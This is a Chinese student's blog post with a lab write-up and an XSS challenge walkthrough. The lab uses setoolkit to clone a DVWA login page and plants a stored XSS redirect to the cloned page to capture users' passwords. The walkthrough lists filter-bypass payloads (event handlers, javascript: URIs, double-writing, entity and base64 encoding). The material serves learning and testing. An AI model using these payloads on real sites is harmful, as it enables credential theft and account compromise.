前言

近段时间学习xss,进行了比较详细的了解,也学了一个小实验,感觉挺有意思,记录下来。然后,后面就是xss之旅的闯关。

xss盗取用户信息小实验

实验环境

DVWA、kali linux、物理机或一台windows系统的虚拟机。

实验

实验原理:
克隆网站登录页面,利用存储xss设置跳转代码,如果用户访问即跳转到克隆网站的登录页面,用户输入登录,账号和密码被存储。
我画的图。咳咳,太丑了,j4y
使用setoolkit工具克隆网站
setoolkit是一个kali自带的工具,要在root权限下使用。
使用工具克隆好网站后,去靶场插入xss存储型代码。
等待用户点击……
查看账户密码等信息。

实验过程

打开DVWA,复制一下这个登录页面的url,(这个是个在线的靶场,不知道哪位好心人搭建的。IP就不打码了,想尝试一下的也可以用这个试一下。)
在这里插入图片描述
登陆进去,先清理一下数据库记录(可有可无)
在这里插入图片描述
打开kali终端
root用户登陆的话就输入 setoolkit
普通用户就输入sudo setoolkit 回车
在这里插入图片描述
然后输入1回车
输入2回车
输入3回车
输入2回车
然后出现这样的页面,打码的地方是我的IP地址,
在这里插入图片描述
然后敲下回车键,就会提示让输入url,这个时候,将刚复制的DVWA的登录页面的URL输入进去,回车,出现这样的页面
在这里插入图片描述
下一步打开kali的浏览器,输入我的虚拟机的IP地址,
在这里插入图片描述
发现是这样的,证明克隆成功。
登陆进去,到存储型xss处插入代码
<script>window.location="http://***.***.**.***</script>
这里有长度限制,就f12改一下。
在这里插入图片描述
然后在win7虚拟机上进行登录

在这里插入图片描述
点击存储型xss,
在这里插入图片描述
自动跳转到克隆的登录界面上,然后输入账号密码登录
在这里插入图片描述
就会回到原来的网站登录页面。这个时候已经成功拿到了用户名和密码,后面就不管了。
在这里插入图片描述
查看盗取的信息,在kali终端就能看到下面的页面。
因为这里我试了两次,所以会有两次的记录。

在这里插入图片描述
然后试验完成,Ctrl+Z就可以退出了。

xss之旅

在线xss平台

第一关

在这里插入图片描述
构造简单的弹框代码成功弹窗即可。<script>alert(1);</script>
在这里插入图片描述

第二关

开始构造一个弹框的代码,发现无法弹框了。
在这里插入图片描述
查看一下源码
在这里插入图片描述
发现这里是我插入代码的位置,然后看到插入点是在input标签内部的,所以无法让浏览器识别弹框代码。这里要做的就是将前面的input标签提前闭合,还有后面的>也要给它闭合,而且还要让它弹框。
所以这里构造

"><script>alert('XSS')</script><

在这里插入图片描述

第三关

在这里插入图片描述

可以看出是尖括号,被转义了,所以尝试换个事件进行弹窗。
前面的value值是可以用单引号闭合,后面还有个双引号,可以把它以及后面的语句注释掉。构造payload

1' onmouseover=alert(1)//

在这里插入图片描述
知识拓展:
onmouseover在代码中表示的含义是 ——当鼠标指针移至元素之上时运行脚本
还有其他的事件可以选择使用,以下是我找的其他xss可以触发的事件的代码。
在这里插入图片描述

第四关

第四关先用第三关的payload试一下,然后查看源码。

在这里插入图片描述

只需要将第三关的单引号换成双引号即可
在这里插入图片描述

第五关

进行on事件。但是发现on被分开了,中间多了个下划线_
在这里插入图片描述
那就再换构造语句,javascript伪协议
JavaScript伪协议介绍
将JavaScript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
如果javascript:URL中的javascript代码中含有多个语句,必须使用分号将这些语句分隔开。

javascript:var now = new Date(); "<h1>The time is:</h1>" +now;
javascript URL还可以含有只执行动作,但不返回值的javascript语句
javascript:alert("hello,world!")

可以使用a标签来进行绕过。

"><a href="javascript:alert(document.domain)"

在这里插入图片描述

第六关

在这里插入图片描述
可以看出,将href过滤了,还有其他的几个,on还有script都被过滤了。
看了大佬的博客,说是str_replace函数进行处理了,使用大小写绕过就行了。

"><svg/Onload=alert(document.domain)>%0a

在这里插入图片描述
知识补充
HTML中的svg介绍
SVG意为可缩放矢量图形
SVG使用XML格式定义图像。
SVG文件可以通过以下标签嵌入HTML文档:

<embed>、<object>或者<iframe>、也可以使用svg标签插入。

闭合触发xss,

"><svg onload=alert(document.domain)>%0a

第七关

在这里插入图片描述
这里它将我的on过滤了,变成了空格,然后想到了双写绕过
payload

"><svg oonnload=alert(document.domain)>%0a

在这里插入图片描述

第八关

在这里插入图片描述
可以看出href被过滤了,双引号也被过滤了,script也被过滤。这个过滤了这么多东西,要想到通过编码来绕过。
HTML编码可以进行绕过,

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

在这里插入图片描述
这个是一种情况,还有一种情况是内容过滤,比如说,想通过弹窗事件来弹出某个内容,比如cookie。但是cookie如果被过滤了,
可以先将cookie进行base64加密,成一串base64编码,然后
atob:将base64进行解码,转换成明文,并通过eval来执行javascript代码。
再通过使用eval来执行语句。
可以构造一下payload

<script>eval(atob('base64编码'));</script>

第九关

j4y
不合法的话,那就加上http://
j4y
发现,链接是合法了,但是script被过滤了。所以要进行绕过,
可以选择使用HTML编码绕过,还可以利用制表符(%09)等方法进行过滤。

第一个:
javasc&#x72;ipt:%0dhttp://www.lalala.io%0dalert(1) 
第二个:
javascr%09ipt:alert(1)//http://

j4y
这个是将r转换成HTML编码了,当然也可以转换其他的字母,使得绕过script就行。

第十关

没有看到注入框,结果找了一会,在控制台看到了隐藏的信息。
一个隐藏的表单。
j4y
猜想可以在这里面进行注入,具体的还要一个一个试。
先进行在t_link框里进行注入尝试。,不过失败了。
j4y
一个个尝试,最后发现在t_sort可以插入
j4y
主要是尝试在哪个位置可以插入代码。

闯关就先到这里吧,然后再把最近接触到的关于xss注入的知识点记录一下。

xss注入番外

  1. 属性中的xss闭合引入事件
" onmouseover=alert(document.domain)>        / /这个是鼠标放在上面就会触发xss,

当然还有其他属性,点击后触发,等触发事件。
完整语句是

<input/其他的标签 value=onmouseover="alert(document.domain)">
  1. 列表中的xss事件
    HTML中的post方式的from表单提交。可以利用,插入xss语句。
    burpsuite测试xss,使用Burpsuite截取http请求,修改提交参数。
    闭合触发xss事件,用通过burpsuite在认为可能的地方插入xss代码进行闭合等操作。
  2. HTML中的svg介绍
    SVG意为可缩放矢量图形
    SVG使用XML格式定义图像。
    SVG文件可以通过以下标签嵌入HTML文档:
<embed><object>或者<iframe>、也可以使用svg标签插入。
闭合触发xss,
"><svg onload=alert(document.domain)>%0a

诀窍:`见框就插`
  1. HTML表单文本框介绍
    HTML表单用于搜集不同类型的用户输入。表单元素指的是不同类型的input元素、复选框、单选按钮、提交按钮等等。text定义常规文本输入。
    属性介绍:
  • value 属性规定输入字段的初始值
  • readonly属性规定输入字段为只读(不能修改)
  • disabled 属性规定输入字段是禁用的。被禁用的元素是不可用和不可点击的。被禁用的元素不会被提交。
  • size 属性规定输入字段的尺寸(以字符计)
  • maxlength 属性规定输入字段允许的最大长度。
    如设置maxlength属性,则输入空间不会接受超过所允许数的字符。
    该属性不会提供任何反馈。如果需要提醒用户,则必须编写JavaScript代码。
    xss的payload长度计算
    使用python的内置函数 len()
    修改时直接修改maxlength参数就可以了。
payload 触发xss漏洞
"><svg/onload=alert(document.domain)>%0a
或者:    " onmouseover=alert(document.domain)>
  1. HTML事件介绍
    j4y
  2. 空格分割属性的xss
    JavaScript伪协议介绍
    将JavaScript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
    如果javascript:URL中的javascript代码中含有多个语句,必须使用分号将这些语句分隔开。
javascript:var now = new Date(); "<h1>The time is:</h1>" +now;
javascript URL还可以含有只执行动作,但不返回值的javascript语句
javascript:alert("hello,world!")
  1. 绕过过滤domain为空的xss
  • 双写绕过
    过滤一个domain,可以制造这样的payload。
    dodomainmain
    这个payload使得浏览器将domain过滤掉,剩下的do和main重新构成了domain。
  • 编码绕过
    构造payload进行base64加密。
    eval
    atob:将base64进行解码,转换成明文,并通过eval来执行javascript代码。
  • 空格绕过:
    如果浏览器过滤了script关键字或者其他的什么关键字,导致javascript代码无法执行,那么可以考虑空格绕过。
  • 利用IE特性绕过xss过滤(只适用于IE浏览器)
IE特性:两个反引号``可以闭合一个左边双引号

CSS绕过
CSS特性介绍
background:url("javascript:alert(document.domain);"); 设置背景颜色
这是利用javascript伪协议执行js,目前只有IE浏览器支持,其他的不支持

payload触发CSS
background-color:#f00;background:url("javascript:alert(document.domain);");

先到这里,后续还有几个不常见的知识点,回头学了再补吧。最近有点累,要期末考试了,也该准备下复习了。睡觉睡觉,今天早点睡,不熬了。
对了突然想起来,这个好像是之前学长布置的作业来着,果然还是那个老毛病,不到检查作业最后一刻,绝对不提前写完。哈哈哈。下周十六周,刚刚好,截至周。
现在没事回头看看自己写的博客和印象笔记。哈哈学了不少东西呐。
从2020.1.12发的第一篇文章到现在4个多月了,看看还是蛮有成就感的。

嗯!要继续加油啊。

文末寄语:

在这世上,有些东西是石头无法刻成的,在我们心里,有一块地方是无法锁住的,那块地方叫做希望。——《肖申克的救赎》